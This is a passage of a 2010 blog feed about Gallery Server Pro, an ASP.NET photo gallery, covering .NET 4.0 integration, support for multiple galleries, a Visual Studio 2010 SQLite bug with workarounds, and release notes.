&lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="dotnet4_5" border="0" alt="dotnet4_5" src="http://lh6.ggpht.com/_qh4427KVFsk/TE4BobsOdWI/AAAAAAAAANI/jg4bmBd_5PA/dotnet4_5%5B4%5D.png?imgmax=800" width="704" height="481" /&gt; &lt;/p&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;p&gt;Now compile the application. It should succeed. Right click the page and choose View in Browser. The page will appear with an empty gallery:&lt;/p&gt;      &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="dotnet4_6" border="0" alt="dotnet4_6" src="http://lh4.ggpht.com/_qh4427KVFsk/TE4BolrTb2I/AAAAAAAAANM/bUNjmG2FEFU/dotnet4_6%5B4%5D.png?imgmax=800" width="704" height="461" /&gt; &lt;/p&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;p&gt;By default, no users are defined and the gallery is configured to use SQLite for data storage, so run the install wizard to set up the membership system and optionally configure SQL Server. In the web browser, add “?g=install” to the URL. The install wizard appears:&lt;/p&gt;      &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="dotnet4_7" border="0" alt="dotnet4_7" src="http://lh4.ggpht.com/_qh4427KVFsk/TE4BpFZhDnI/AAAAAAAAANQ/6WLKXrT6krQ/dotnet4_7%5B4%5D.png?imgmax=800" width="704" height="623" /&gt; &lt;/p&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;p&gt;Step through the install wizard. When complete, you are redirected back to your gallery, which now includes a sample album and image. All done!&lt;/p&gt;      &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="dotnet4_8" border="0" alt="dotnet4_8" src="http://lh3.ggpht.com/_qh4427KVFsk/TE4BpYiT-lI/AAAAAAAAANU/ElWXoqC_-NY/dotnet4_8%5B4%5D.png?imgmax=800" width="704" height="461" /&gt; &lt;/p&gt;   &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;&lt;strong&gt;&lt;font size="4"&gt;Integrating with existing users&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;The integration example above assumes you are setting up a new set of users, but you might want the gallery to be integrated with your existing membership provider. After running the install wizard, open web.config and update the membership, role, and profile sections to point to the desired providers. GSP will use the default provider unless you specify a particular provider in the galleryserverpro.config settings membershipProviderName and roleProviderName.&lt;/p&gt;  &lt;p&gt;After pointing web.config to your membership, you may get the following error:&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="dotnet4_9" border="0" alt="dotnet4_9" src="http://lh3.ggpht.com/_qh4427KVFsk/TE4BpnAK_7I/AAAAAAAAANY/6q1F-M5xkYI/dotnet4_9%5B4%5D.png?imgmax=800" width="704" height="461" /&gt; &lt;/p&gt;  &lt;p&gt;This is happening because GSP doesn’t know what kind of security access any of your users have, so it assumes a “better safe than sorry” position and doesn’t let anybody in. To define the administrator, open the table gs_Role. GSP should have created a list of records in this table that mirror the roles in your role provider (if you don’t see any, try restarting the web app, which triggers the validation code that synchronizes the roles in gs_Role with the roles in your role provider). Pick the record that represents the system administrator role and set the AllowAdministerSite column to true. Then restart the app (or edit the album summary, which clears the role cache). Any users in this role should now have full administrative permission to the gallery. Now that you can log on as an administrator, you can use the normal GSP admin functions to define the security for the rest of the users. &lt;/p&gt;  &lt;p&gt;&lt;font size="4"&gt;&lt;strong&gt;No compile option&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;To add a gallery to your app without requiring compilation, remove the code behind file from the web page that contains the gallery user control. For example, in the example above, change the first line from this:&lt;/p&gt;  &lt;p&gt;&amp;lt;%@ Page Title=&amp;quot;&amp;quot; Language=&amp;quot;vb&amp;quot; AutoEventWireup=&amp;quot;false&amp;quot; MasterPageFile=&amp;quot;~/Site.Master&amp;quot; CodeBehind=&amp;quot;Gallery.aspx.vb&amp;quot; Inherits=&amp;quot;WebWithGsp.Gallery&amp;quot; %&amp;gt;&lt;/p&gt;  &lt;p&gt;to this:&lt;/p&gt;  &lt;p&gt;&amp;lt;%@ Page Title=&amp;quot;&amp;quot; Language=&amp;quot;vb&amp;quot; AutoEventWireup=&amp;quot;false&amp;quot; MasterPageFile=&amp;quot;~/Site.Master&amp;quot; %&amp;gt;&lt;/p&gt;  &lt;p&gt;After this change, the code behind files Gallery.aspx.vb and Gallery.aspx.designer.vb are no longer need and can be deleted.&lt;/p&gt;  &lt;p&gt;An added benefit to this option is that you won’t be affected by the compile error we received above, since the designer file does not exist.&lt;/p&gt;  &lt;p&gt;&lt;font size="4"&gt;&lt;strong&gt;ASP.NET compatibility&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font size="4"&gt;&lt;font size="2"&gt;Update 2010-08-03: Check out this &lt;a href="http://www.galleryserverpro.com/blog.aspx?title=Adding-a-gallery-to-your-.NET-4.0-application&amp;amp;id=8128576498873205735"&gt;blog post&lt;/a&gt; for more info.&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font size="4"&gt;&lt;font size="2"&gt;If you look carefully at the screen shots, you will notice we lost the nice formatting of the menu after we added the gallery:&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font size="4"&gt;&lt;font size="2"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="dotnet4_10" border="0" alt="dotnet4_10" src="http://lh5.ggpht.com/_qh4427KVFsk/TE4BqhfU3cI/AAAAAAAAANc/4u1FVvobt2s/dotnet4_10%5B4%5D.png?imgmax=800" width="380" height="288" /&gt; &lt;/font&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;This is because the 4.0 version of web.config that ships with GSP is configured to render objects the pre-4.0 way. That is, the attribute controlRenderingCompatibilityVersion is set to 3.5:&lt;/p&gt;  &lt;p&gt;&amp;lt;pages theme=&amp;quot;&amp;quot; styleSheetTheme=&amp;quot;&amp;quot; validateRequest=&amp;quot;false&amp;quot; controlRenderingCompatibilityVersion=&amp;quot;3.5&amp;quot; clientIDMode=&amp;quot;AutoID&amp;quot; /&amp;gt;&lt;/p&gt;  &lt;p&gt;This is an application wide setting, so this causes the menu to render using tables (&amp;lt;table&amp;gt;) rather than list items (&amp;lt;li&amp;gt;), which breaks the CSS in the default ASP.NET application.&lt;/p&gt;  &lt;p&gt;You can restore the formatting of the menu by setting the compatibility version to 4.0, or removing it altogether. After this change, it looks like this:&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="dotnet4_11" border="0" alt="dotnet4_11" src="http://lh3.ggpht.com/_qh4427KVFsk/TE4BradX3sI/AAAAAAAAANg/hgmrmS2Ahqk/dotnet4_11%5B3%5D.png?imgmax=800" width="194" height="160" /&gt; &lt;/p&gt;  &lt;p&gt;I specified 3.5 compatibility mode in web.config because I wanted to guarantee that everything worked the same in .NET 4.0. I am not sure it is required, though. In some very brief testing, I couldn’t find anything that was broken in 4.0 mode. It is possible that future releases will default to the native 4.0 rendering.&lt;/p&gt;  &lt;p&gt;&lt;font size="4"&gt;&lt;strong&gt;AJAX Control Toolkit&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;GSP ships with version 1.0.10920 of the AJAX Control Toolkit, which is the most recent version of the toolkit that is compatible with .NET 2.0. If you want to use later versions in your app, GSP will work with it, but you must update web.config so that GSP uses the desired version rather than looking in vain for the one it was compiled against. Open web.config and add this line just before the final &amp;lt;/configuration&amp;gt; element:&lt;/p&gt;  &lt;p&gt;&amp;lt;runtime&amp;gt;    &lt;br /&gt;&amp;#160; &amp;lt;assemblyBinding xmlns=&amp;quot;urn:schemas-microsoft-com:asm.v1&amp;quot;&amp;gt;     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &amp;lt;dependentAssembly&amp;gt;     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;lt;assemblyIdentity name=&amp;quot;AjaxControlToolkit&amp;quot; publicKeyToken=&amp;quot;28f01b0e84b6d53e&amp;quot; /&amp;gt;     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;lt;bindingRedirect oldVersion=&amp;quot;1.0.0.0-1.1.0.0&amp;quot; newVersion=&amp;quot;4.1.40412.0&amp;quot; /&amp;gt;     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;lt;/dependentAssembly&amp;gt;     &lt;br /&gt;&amp;#160; &amp;lt;/assemblyBinding&amp;gt;     &lt;br /&gt;&amp;lt;/runtime&amp;gt;&lt;/p&gt;  &lt;p&gt;Update the newVersion attribute as needed to reflect the version of your AjaxControlToolkit.dll.&lt;/p&gt;  &lt;p&gt;&lt;font size="4"&gt;&lt;strong&gt;MVC apps&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;GSP is a webforms application, which is very different than the MVC pattern recently introduced by Microsoft. Generally speaking, webforms and MVC functionality don’t belong in the same application and can give you trouble if you try.&lt;/p&gt;  &lt;p&gt;Having said that, it *is* possible to add a gallery to an MVC app. I actually did it for a customer not long ago. Here are the key lessons I learned:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;     &lt;p&gt;The gallery user control must be added to a webforms page, not an MVC one.&lt;/p&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;p&gt;I added a line to global.asax to tell the routing system to ignore paths to the webforms page. In my case, I put the webform (an .aspx page containing the Gallery user control) in a directory named Webforms and then added this line to global.asax: routes.IgnoreRoute(&amp;quot;Webforms/{*pathInfo}&amp;quot;);&lt;/p&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;p&gt;The javascript on the Rearrange objects page failed until I set controlRenderingCompatibilityVersion to “3.5” in web.config.&lt;/p&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;p&gt;Getting MVC and webform pages to share the same master page is difficult. I actually had to define a top level master page Root.Master that inherited from System.Web.UI.MasterPage. In this page I put the main layout. Then I created two child master pages – one was called Mvc.Master and it inherited System.Web.Mvc.ViewMasterPage; the other was called Webform.Master and it inherited from System.Web.UI.MasterPage. Both child pages used Root.Master as its own master page, and served as essentially empty containers for the web pages. All MVC pages used Mvc.Master; webforms used Webform.Master. A big problem with this approach is that the top level master page cannot use any MVC code. And if you add something to Mvc.Master, you must duplicate it in Webform.Master. This is a fragile approach that might create maintainability issues down the road, but I couldn’t come up with anything better. An alternative was to create identical master pages – one for MVC and one for webforms, but that is obviously not ideal.&lt;/p&gt;   &lt;/li&gt; &lt;/ul&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-8128576498873205735?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/8128576498873205735/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=8128576498873205735' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/8128576498873205735'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/8128576498873205735'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2010/07/adding-gallery-to-your-net-40.html' title='Adding a gallery to your .NET 4.0 application'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_qh4427KVFsk/TE4BmHzdrHI/AAAAAAAAAM4/l7tp7U7FLE0/s72-c/dotnet4_1%5B4%5D.png?imgmax=800' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-8847008064170061419</id><published>2010-07-06T12:03:00.001-05:00</published><updated>2010-07-06T12:58:36.523-05:00</updated><title type='text'>Turning a lemon into lemonade: Multiple galleries in a single web application</title><content type='html'>&lt;p&gt;&lt;strong&gt;A clash between DotNetNuke portals and Gallery Server Pro architecture&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Back in March I released an alpha build to a few select users for a new DotNetNuke module version of Gallery Server Pro. At the time I thought I was nearly done. Well, it turns out that DotNetNuke has one feature that conflicted with GSP’s architecture: Multiple Portals. And I’ve been working to resolve this ever since.&lt;/p&gt;  &lt;p&gt;Portals are a concept in DNN where a single web application can have one or more mini-web sites that appear – to the outside world – as if they are separate applications. They can even have different URLs: &lt;a href="http://www.p1.site.com"&gt;www.p1.site.com&lt;/a&gt;, &lt;a href="http://www.p2.site.com"&gt;www.p2.site.com&lt;/a&gt;, etc. For example, a user navigating to &lt;a href="http://www.p1.site.com"&gt;www.p1.site.com&lt;/a&gt; would see a site that looks completely different than &lt;a href="http://www.p2.site.com"&gt;www.p2.site.com&lt;/a&gt;. It can have a different theme, different content, and even different users, but behind the scenes it is a single web application connecting to a single database.&lt;/p&gt;  &lt;p&gt;My alpha testers noticed that the GSP module worked fine EXCEPT that media objects were shared across multiple portals. Not cool - Each portal must have its own set of media objects and its own administration settings. At first I thought – no big deal – GSP already has the concept of a gallery – all I need to do is create a unique gallery for each portal.&lt;/p&gt;  &lt;p&gt;The problem, however, was that the Gallery ID was specified in galleryserverpro.config, and there is only one of those per web application. I had to figure out how to manage multiple galleries within *one* application. There was no way to shoehorn the config file to support multiple galleries unless I radically changed its structure. Even then, an administrator updating a setting in one portal would cause the entire application pool to recycle, since that is how the ASP.NET configuration system works. Something big had to change.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Refactoring gallery settings to the database&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;In the end, I abandoned the galleryserverpro.config file and moved everything into the database. There are now five new tables:&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;gs_GallerySetting&lt;/strong&gt; – Stores most of the items in the &amp;lt;core&amp;gt; section of galleryserverpro.config, such as ShowErrorDetails and MediaObjectPath. The column FKGalleryId is a foreign key to gs_Gallery, so each gallery gets its own set of settings.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;gs_AppSetting&lt;/strong&gt; – It made sense to keep a few items from galleryserverpro.config at the application level, and these are stored here. It has just a few records that apply to all galleries, such as JQueryScriptPath and ProductKey.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;gs_BrowserTemplate&lt;/strong&gt; – These are the HTML templates from galleryserverpro.config.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;gs_MimeType&lt;/strong&gt; – This is a read-only list of all MIME types.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;gs_MimeTypeGallery&lt;/strong&gt; – This stores whether each MIME type is enabled or disabled for a gallery.&lt;/p&gt;  &lt;p&gt;These changes were applied to the source code trunk, meaning it affects the main release of GSP in addition to the DotNetNuke branch.&lt;/p&gt;  &lt;p&gt;With these changes, the next version of GSP will support multiple, distinct sets of media objects within a single web application. Each set – called a gallery – has its own settings, users and roles. From the user’s perspective, the media objects are completely isolated from each other, although a site administrator can move or copy objects between galleries. And the galleryserverpro.config file has been confined to the dustbins of history.&lt;/p&gt;  &lt;p&gt;A quick note about users and roles: GSP continues to use the membership and role provider model. This model enforces a unique set of user and role names across the entire application. That means that once a user is created, that username cannot be created again in other galleries. You can, however, *share* users and roles across galleries. For example, you can assign user ‘Bob’ to have view permission in gallery 1, write permission in gallery 2, and no permission whatsoever in gallery 3.&lt;/p&gt;  &lt;p&gt;I used the phrase “turning lemon into lemonade” in the title because this was not something I wanted to spend three months working on, nor do I think this is a feature that regular GSP users are clamoring for. I would have rather spent this time adding tagging support, improving the upload experience, or just about any of the one hundred items on my to-do list.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Making lemonade&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;However, it turns out there &lt;strong&gt;are&lt;/strong&gt; significant benefits to this change. One of my favorites is that the application pool no longer recycles when you update a setting. Now you can edit a setting without affecting any in-progress uploads or synchronizations. &lt;/p&gt;  &lt;p&gt;Plus, more complex scenarios suddenly become possible:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;You want to have one gallery for staging and another for production. Media objects are first added to the staging area, where they are organized and prepped. When they are ready to be deployed, they can be moved or copied to the production gallery. &lt;/li&gt;    &lt;li&gt;You have departments in your company that should each have their own gallery. Each gallery should have its own administrator and can have its own settings, such as user accounts, watermark, permissions, etc. Rather than setting up and maintaining multiple web applications, this can now be handled in a single app. &lt;/li&gt;    &lt;li&gt;You have media files in multiple locations you want to expose, such as D:\Pictures and D:\Video. &lt;/li&gt;    &lt;li&gt;You want to set up a gallery for each member of your family. Each person is a mini-administrator for their area and can't edit another person's media objects, yet everything is contained within a single web application and database. &lt;/li&gt;    &lt;li&gt;You want some images to be 640x480 and others to be smaller (or larger). &lt;/li&gt;    &lt;li&gt;You want to have a watermark applied to one set of images but another set should have no watermark, and all images are to be accessible to anonymous users. Or you have different watermarks that should be applied to different sets of images. &lt;/li&gt;    &lt;li&gt;You want to provide a user with different gallery-wide permissions. For example, user 'Bob' should be a gallery administrator for one set of objects, but have edit-only permission for another set. &lt;/li&gt;    &lt;li&gt;You want to allow some users to upload any file type of any size, but others should only be able to upload .JPEG's that are less than 5 MB. &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;strong&gt;Gallery administration&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;To accommodate this change, the concept of a “gallery administrator” has been introduced. A gallery administrator can change settings for a particular gallery but has no rights to other galleries. She can add users and roles, but those accounts are restricted to the current gallery.&lt;/p&gt;  &lt;p&gt;The previous concept of a site administrator remains. The site administrator has complete access to all galleries.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Creating multiple galleries&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;The desired gallery is now specified on the Gallery user control defined in the web page. For example, the Gallery definition in default.aspx now looks like this:&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000"&gt;&amp;lt;gsp:Gallery ID=&amp;quot;g&amp;quot; runat=&amp;quot;server&amp;quot; GalleryId=&amp;quot;1&amp;quot; /&amp;gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;To create a second gallery, just add a new ASPX page and specify a new gallery ID:&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000"&gt;&amp;lt;gsp:Gallery ID=&amp;quot;g&amp;quot; runat=&amp;quot;server&amp;quot; GalleryId=&amp;quot;2&amp;quot; /&amp;gt;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;The first time you load this page, GSP will automatically create the gallery and a default set of gallery settings. One of the first things you may want to do is check the media object path to ensure it is at a unique location. You *can* use the same media object path in multiple galleries, but note that updating an object in one gallery does not update the database record associated with the other gallery.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Example: Create a staging gallery&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;To create a staging gallery where you can prep objects before pushing them to the production gallery, copy default.aspx to create a second ASPX page called gallerystaging.aspx. Change the gallery ID to a new value (such as 2). Open this page in your browser – you don’t need to run the install wizard or compile any source code. Log in with any account with ‘Allow site administration’ permission and configure the settings as desired, such as disabling anonymous access and changing the media object file path. Synchronize or add your media objects and organize them as you wish.&lt;/p&gt;  &lt;p&gt;I’ll assume the original page default.aspx is your production gallery. While in your staging gallery, use the move/copy function to transfer the items to the production gallery. Voila! You have just deployed your items to production.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Roadmap&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;My priority is to get a beta version of the DotNetNuke module released as soon as possible. There are still some odds and ends to take care of, like how to implement licensing, but hopefully nothing significant. If I didn’t have any distractions, I think it would be ready within a few weeks. But my development time has been split to support a few customers, and it is unclear how much time will be devoted to them in the coming weeks.&lt;/p&gt;  &lt;p&gt;My best guess is that I will have the DotNetNuke beta out by the end of August. That should be followed relatively quickly with the release of GSP 2.4, which contains the multiple gallery feature I am talking about here, some bug fixes, and some great new properties on the Gallery user control that website integrators will love. I will also try to squeeze in some high-value, easy-to-implement feature requests.&lt;/p&gt;  &lt;p&gt;Once the DotNetNuke module and 2.4 is out, I plan to implement those top features requests you have:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Tagging &lt;/li&gt;    &lt;li&gt;Better upload experience – especially the ability to upload a compressed version of an image rather than the original &lt;/li&gt;    &lt;li&gt;Extract video thumbnails &lt;/li&gt;    &lt;li&gt;Advanced sorting &lt;/li&gt;    &lt;li&gt;Much more… &lt;/li&gt; &lt;/ul&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-8847008064170061419?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/8847008064170061419/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=8847008064170061419' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/8847008064170061419'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/8847008064170061419'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2010/07/turning-lemon-into-lemonade-multiple.html' title='Turning a lemon into lemonade: Multiple galleries in a single web application'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-2871859165425763556</id><published>2010-05-03T16:03:00.001-05:00</published><updated>2010-05-05T20:48:13.748-05:00</updated><title type='text'>Issues with Visual Studio 2010</title><content type='html'>&lt;p&gt;ACTION ALERT: See the end of this post for a request to vote on a Visual Studio bug that is affecting Gallery Server Pro development. I need your help!&lt;/p&gt;  &lt;p&gt;UPDATE 2010-5-5: Microsoft has confirmed they can reproduce the issue and is investigating it. Keep voting to keep the pressure on!&lt;/p&gt;  &lt;p&gt;Visual Studio 2010 just came out, so I installed it, opened up the Gallery Server Pro solution, and took a peak around. The first thing I noticed is that all my ascx and aspx pages had squiggly marks all over the place:&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_qh4427KVFsk/S986FPMTJ8I/AAAAAAAAAMs/acXkRM639_s/s1600-h/VS2010_error_600x429%5B3%5D.png"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Visual Studio 2010 error" border="0" alt="Visual Studio 2010 error" src="http://lh5.ggpht.com/_qh4427KVFsk/S986F3nKuDI/AAAAAAAAAMw/kjKjt5CwRaQ/VS2010_error_600x429_thumb%5B1%5D.png?imgmax=800" width="604" height="433" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;When I hover over the @Control directive in the first line, I see this message:&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000"&gt;&amp;quot;ASP.NET runtime error: Could not load file or assembly 'System.Data.SQLite' or one of its dependencies. An attempt was made to load a program with an incorrect format.&amp;quot;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;That is a tell-tale sign that Visual Studio is trying to load the 64-bit version of System.Data.SQLite into its own 32-bit process. Kind of makes sense, but this worked fine in VS 2008.&lt;/p&gt;  &lt;p&gt;This problem also seems to cause issues with custom user controls and third party server controls. For example, when I hover over the uc1 user control declaration (you can see it in the screen shot), I see this message:&lt;/p&gt;  &lt;p&gt;&lt;font color="#800000"&gt;&amp;quot;Unrecognized tag prefix or device filter 'uc1'&amp;quot;&lt;/font&gt;&lt;/p&gt;  &lt;p&gt;I also lose intellisense on these controls.&lt;/p&gt;  &lt;p&gt;Despite these problems in Visual Studio, these errors seem to be more cosmetic than a show-stopper. I can compile the solution and run it in IIS. It is annoying to lose intellisense and the squigglies are making me sea sick, but at least I can continue working.&lt;/p&gt;  &lt;p&gt;If you are working with the Gallery Server Pro source code on a 64-bit operating system, you may run into this as well. Not a big deal, but if it drives you nuts, here are the known workarounds:&lt;/p&gt;  &lt;p&gt;1. Use Visual Studio 2005 or 2008 instead.&lt;/p&gt;  &lt;p&gt;2. Use a 32-bit OS.&lt;/p&gt;  &lt;p&gt;3. If using a 64-bit OS and VS 2010, avoid IIS (which is 64-bit) and stick with the built-in Cassini web server (which is 32-bit). Rename the dll in TIS.GSP.Data.SQLite\assemblies\x64 to something else such as System.Data.SQLite_x64.dll (or delete it) and then recompile. This forces Visual Studio to use the 32-bit version of System.Data.SQLite.dll.&lt;/p&gt;  &lt;p&gt;None of these workarounds are very attractive to me, so my best hope is for Microsoft to fix this in a service pack. To start this process, today I submitted a &lt;a title="Bug report on Microsoft Connect" href="https://connect.microsoft.com/VisualStudio/feedback/details/556670/could-not-load-file-or-assembly-error-when-referencing-a-64-bit-assembly"&gt;bug report with Microsoft&lt;/a&gt;. To make this a priority for Microsoft, I need lots of people to validate the issue and vote on it. So I ask for your help. Please go to the &lt;a title="Bug report with Microsoft Connect" href="https://connect.microsoft.com/VisualStudio/feedback/details/556670/could-not-load-file-or-assembly-error-when-referencing-a-64-bit-assembly"&gt;bug report&lt;/a&gt; and vote for it. Thanks!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4541792071038273470-2871859165425763556?l=galleryserverpro.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://galleryserverpro.blogspot.com/feeds/2871859165425763556/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4541792071038273470&amp;postID=2871859165425763556' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/2871859165425763556'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4541792071038273470/posts/default/2871859165425763556'/><link rel='alternate' type='text/html' href='http://galleryserverpro.blogspot.com/2010/05/issues-with-visual-studio-2010.html' title='Issues with Visual Studio 2010'/><author><name>Roger Martin</name><uri>http://www.blogger.com/profile/11987442537480095724</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_qh4427KVFsk/S986F3nKuDI/AAAAAAAAAMw/kjKjt5CwRaQ/s72-c/VS2010_error_600x429_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4541792071038273470.post-4813162447421623567</id><published>2010-04-07T21:10:00.001-05:00</published><updated>2010-04-07T21:10:22.915-05:00</updated><title type='text'>New version adds features, support for .NET 4.0, and fixes bugs</title><content type='html'>&lt;p&gt;The latest version of Gallery Server Pro fixes several bugs, adds a few minor features, and includes support for ASP.NET 4.0. &lt;a title="Download Gallery Server Pro" href="http://www.galleryserverpro.com/download.aspx"&gt;Download it here&lt;/a&gt;. The Web Platform Installer version will be released in a week or two. There are no changes to the database schema, so upgrading is as simple as saving a copy of your web.config and galleryserverpro.config files, replacing the web files with the new ones (but don’t overwrite your SQLite database file galleryserverpro_data.sqlite), and then navigating to default.aspx?g=upgrade in your web browser. Detailed upgrade and installation instructions are in the &lt;a title="Download the Admin Guide for Gallery Server Pro" href="http://www.galleryserverpro.com/download.aspx"&gt;Admin Guide&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;Besides fixing &lt;a title="Bug fixes for Gallery Server Pro 2.3.3738" href="http://www.galleryserverpro.com/support/DefectsFixed_v2_3_3748.pdf"&gt;over a dozen bugs&lt;/a&gt;, this version adds the following &lt;a title="New features in Gallery Server Pro 2.3.3748" href="http://www.galleryserverpro.com/support/Features_v2_3_3748.pdf"&gt;features&lt;/a&gt;. Below I dig into these in more detail.&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Includes support for running under .NET 4.0 &lt;/li&gt;    &lt;li&gt;Added support for web archive files (.mht) &lt;/li&gt;    &lt;li&gt;Easier integration into other web applications &lt;/li&gt;    &lt;li&gt;Backup file now compressed in ZIP archive to enable faster download and uploads &lt;/li&gt;    &lt;li&gt;Files are guaranteed to be added in alphabetical order during a synchronization &lt;/li&gt;    &lt;li&gt;Automatically clear deleted users from album owner field &lt;/li&gt;    &lt;li&gt;Improved date parsing of image metadata &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;strong&gt;Support for ASP.NET 4.0&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Gallery Server Pro can run under .NET 2.0, 3.5, or 4.0. By default it is configured to run under .NET 2.0 with MS Ajax 1.0 Extensions. Since 3.5 and 4.0 include built-in Ajax support, you do not need the MS Ajax extensions when running under those versions. The only change that is required to run under .NET 3.5 or 4.0 is a switch to a different web.config file. GSP includes several variations of web.config, as seen here:&lt;/p&gt;  &lt;p&gt;&lt;img style="border-right-width: 0px; display: 